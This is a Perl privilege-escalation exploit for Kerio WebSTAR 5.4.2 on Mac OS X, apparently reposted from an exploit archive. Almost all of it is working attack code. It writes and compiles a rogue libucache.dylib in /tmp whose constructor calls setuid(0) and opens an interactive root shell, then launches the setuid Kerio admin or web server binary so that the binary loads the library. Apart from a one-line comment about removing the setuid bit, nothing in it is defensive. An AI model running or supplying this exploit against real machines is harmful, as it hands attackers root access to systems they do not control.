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Kerio WebSTAR 5.4.2 (libucache.dylib) Privilege Escalation Exploit (OSX)
[========================================================================
Kerio WebSTAR 5.4.2 (libucache.dylib) Privilege Escalation Exploit (OSX)
========================================================================
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries
foreach $key (keys %ENV) {
delete $ENV{$key};
}
$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin - WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin - WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";
unless (($target) = @ARGV) {
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";
foreach $key (sort(keys %tgts)) {
($a,$b) = split(/\:/,$tgts{"$key"});
print "\t$key . $a\n";
}
print "\n";
exit 1;
}
$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Binary: $b\n";
open(KP,">/tmp/kerio_pwn.c");
printf KP "extern char * argv; __attribute__((constructor)) static void kerio_pwned()\n";
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); exit(0); }\n";
system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c -current_version 5.0.1 -compatibility_version 5.0.1 -install_name libucache.5.dylib -arch ppc");
system("cd /tmp; \"$b\"");
# 0day.today [2024-11-15] #